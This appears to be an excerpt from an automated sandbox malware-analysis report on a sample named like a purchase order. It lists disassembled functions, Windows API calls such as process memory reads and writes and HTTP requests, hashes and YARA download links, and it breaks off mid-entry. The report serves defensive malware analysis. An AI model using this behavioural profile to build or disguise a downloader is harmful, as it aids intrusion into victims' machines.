                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1537469427-0
                                                                                                                                                                      • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                      • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                                                                                      • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                      • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                                                                                      Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _malloc
                                                                                                                                                                      • String ID: Default$|k
                                                                                                                                                                      • API String ID: 1579825452-2254895183
                                                                                                                                                                      • Opcode ID: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                                                                                                                      • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                                      • Opcode Fuzzy Hash: 7d4b54e2f039ee4215908d8410217bcf631a4cfeabbe095e8d1ce97298a1dede
                                                                                                                                                                      • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                                      Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _memcmp
                                                                                                                                                                      • String ID: '$[$h
                                                                                                                                                                      • API String ID: 2931989736-1224472061
                                                                                                                                                                      • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                      • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                                                                                      • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                      • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                                                                                      Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _strncmp
                                                                                                                                                                      • String ID: >$R$U
                                                                                                                                                                      • API String ID: 909875538-1924298640
                                                                                                                                                                      • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                      • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                                                                                      • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                      • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                                                                                      Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                      • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                                                                                                      • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                                                                                                      • CoUninitialize.OLE32 ref: 0046CE50
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                      • String ID: .lnk
                                                                                                                                                                      • API String ID: 886957087-24824748
                                                                                                                                                                      • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                      • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                                                                                                      • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                      • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                                                                                                      Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _wcslen
                                                                                                                                                                      • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                                      • API String ID: 176396367-557222456
                                                                                                                                                                      • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                      • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                                                                                      • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                      • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                                                                                      Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                      • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                                      • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                                      • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                                      • String ID: 4RH
                                                                                                                                                                      • API String ID: 2981388473-749298218
                                                                                                                                                                      • Opcode ID: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                                                                                                                      • Instruction ID: 2430bd0654d197d786bc988f6f01769df72c779a088326c60667d263ff95ce9f
                                                                                                                                                                      • Opcode Fuzzy Hash: 4f5dbf7d09d6609eea61bad343ccdb5a393d5a012301d28101c94dc94e671a2c
                                                                                                                                                                      • Instruction Fuzzy Hash: CC913874A083519FC720CF29D480A1AB7E1FF89304F64892EE999DB351D774EC85CB96
                                                                                                                                                                      Function 004667A7 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 170shareCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • __wcsnicmp.LIBCMT ref: 0046681A
                                                                                                                                                                      • WNetUseConnectionW.MPR(00000000,?,00000000,?,00000000,?,00000000,?), ref: 004668B9
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Connection__wcsnicmp_wcscpy_wcslen
                                                                                                                                                                      • String ID: LPT$HH
                                                                                                                                                                      • API String ID: 3035604524-2728063697
                                                                                                                                                                      • Opcode ID: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                                      • Instruction ID: 32c7950bcbaa764ae6d62266904c1b9f72d26d84b6ae022b5f72856ccecd4d84
                                                                                                                                                                      • Opcode Fuzzy Hash: 2945cb5b31277d8c8021d55f3d7ec86f9f5d8a101f6134c00f702d091f19bef7
                                                                                                                                                                      • Instruction Fuzzy Hash: 2151D5B16043009FC720EF65C881B1BB7E5AF85704F11491EFA859B382E779ED49C79A
                                                                                                                                                                      Function 00438A5D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004374AF: WriteProcessMemory.KERNEL32(?,?,00000000,00000000,00000000,?,00461142,?), ref: 004374E2
                                                                                                                                                                      • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00438AB8
                                                                                                                                                                        • Part of subcall function 00437472: ReadProcessMemory.KERNEL32(?,00000000,00000000,?,00000000,00000000,00460C33,?,00000000,?,00000202), ref: 004374A5
                                                                                                                                                                      • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00438B2F
                                                                                                                                                                      • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 00438BAF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$MemoryProcess$ReadWrite
                                                                                                                                                                      • String ID: @
                                                                                                                                                                      • API String ID: 4055202900-2766056989
                                                                                                                                                                      • Opcode ID: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                      • Instruction ID: 682097a2b5231093ce935cfc9f6f49684b756042c0be5430c67da702d62f7190
                                                                                                                                                                      • Opcode Fuzzy Hash: 95f302c56ad406a71ba46a757bfca5032ac46bd5be6e99a0861c43b96ce9d769
                                                                                                                                                                      • Instruction Fuzzy Hash: E6518FB2208304ABD310DB64CC81FEFB7A9EFC9714F04591EFA8597181D678F9498B66
                                                                                                                                                                      Function 00465D41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 119networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CrackInternet_memset_wcslen
                                                                                                                                                                      • String ID: |
                                                                                                                                                                      • API String ID: 915713708-2343686810
                                                                                                                                                                      • Opcode ID: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                      • Instruction ID: 59fb16093b155e5aebf0565036b17e76eaaa1a90c891d08183ce313382d628e9
                                                                                                                                                                      • Opcode Fuzzy Hash: 49a329c21d3e2b60aa9c34259f3774bde857317d5b4f329263fe64f76368b085
                                                                                                                                                                      • Instruction Fuzzy Hash: AE417EB2754301ABD204EF69DC81B9BF7E8FB88714F00052EF64593290DB75E909CBA6
                                                                                                                                                                      Function 0044A7DC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0044A7FE
                                                                                                                                                                      • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044A851
                                                                                                                                                                      • HttpQueryInfoW.WININET ref: 0044A892
                                                                                                                                                                        • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3705125965-3916222277
                                                                                                                                                                      • Opcode ID: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                      • Instruction ID: e2ea4e726a01332d61d4ddbc0b4be6fd5f15ca60b5c099a75bcf819f780d651a
                                                                                                                                                                      • Opcode Fuzzy Hash: 978b0a3adb57e12b693652f0a59e9f67067917ae502be6042813f4078819ed5c
                                                                                                                                                                      • Instruction Fuzzy Hash: F431C6B56813416BE320EB16DC42F9FB7E8EFD9714F00091FF65057281D7A8A50D876A
                                                                                                                                                                      Function 004509D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00450A84
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00450AA2
                                                                                                                                                                      • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00450AB3
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Long
                                                                                                                                                                      • String ID: SysTreeView32
                                                                                                                                                                      • API String ID: 847901565-1698111956
                                                                                                                                                                      • Opcode ID: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                      • Instruction ID: 1ec52148e0427fd314aa46f8515fbaae5756f8dde681787cc4d1a4a364837cef
                                                                                                                                                                      • Opcode Fuzzy Hash: 8beaa76caf08e9d8622144d4cb1fe8de975b1c4a0fa94bb7914df260c0b4a9df
                                                                                                                                                                      • Instruction Fuzzy Hash: 9831E670244301AFE710DB64CC84B6BB3E8EF98325F104A1EF9A5932D1D7B8AD85CB25
                                                                                                                                                                      Function 00437CA6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(?), ref: 00437CB2
                                                                                                                                                                      • GetProcAddress.KERNEL32(?,AU3_GetPluginDetails), ref: 00437D26
                                                                                                                                                                      • FreeLibrary.KERNEL32(?,?,AU3_GetPluginDetails), ref: 00437D3D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Library$AddressFreeLoadProc
                                                                                                                                                                      • String ID: AU3_GetPluginDetails
                                                                                                                                                                      • API String ID: 145871493-4132174516
                                                                                                                                                                      • Opcode ID: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                                                                                                                      • Instruction ID: 909018a8305b4cb0ce841e730e5bf8c258fddf5044228ae68d4d210ccee2088c
                                                                                                                                                                      • Opcode Fuzzy Hash: 243c63b0a1642fd37fbdc6bb7a016f54d23cec52ba8901b0b69bd5fd37109442
                                                                                                                                                                      • Instruction Fuzzy Hash: 054147B96042019FC314DF68D8C4D5AF3E5FF8D304B20866EE9568B751DB35E802CB96
                                                                                                                                                                      Function 00450C09 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DestroyWindow.USER32(00000000,004A83D8,00000000,?,?), ref: 00450C60
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DestroyWindow
                                                                                                                                                                      • String ID: msctls_updown32
                                                                                                                                                                      • API String ID: 3375834691-2298589950
                                                                                                                                                                      • Opcode ID: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                      • Instruction ID: 6a1e1189e42626fde14bc74b9d87f1f450c181bb0fe7a510af516aef360d3f61
                                                                                                                                                                      • Opcode Fuzzy Hash: 2a2b7300f3f0896f723b2acc27284ae87319393b418436251cb0663837fc8f9c
                                                                                                                                                                      • Instruction Fuzzy Hash: CE31A279300201AFD624DF54DC81F5B73A9EB9A714F20451EF640AB382C7B4AC4ACB6A
                                                                                                                                                                      Function 00451191 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0045122A
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000186,00000000,00000000), ref: 00451238
                                                                                                                                                                      • MoveWindow.USER32(?,?,00000000,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 0045125D
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
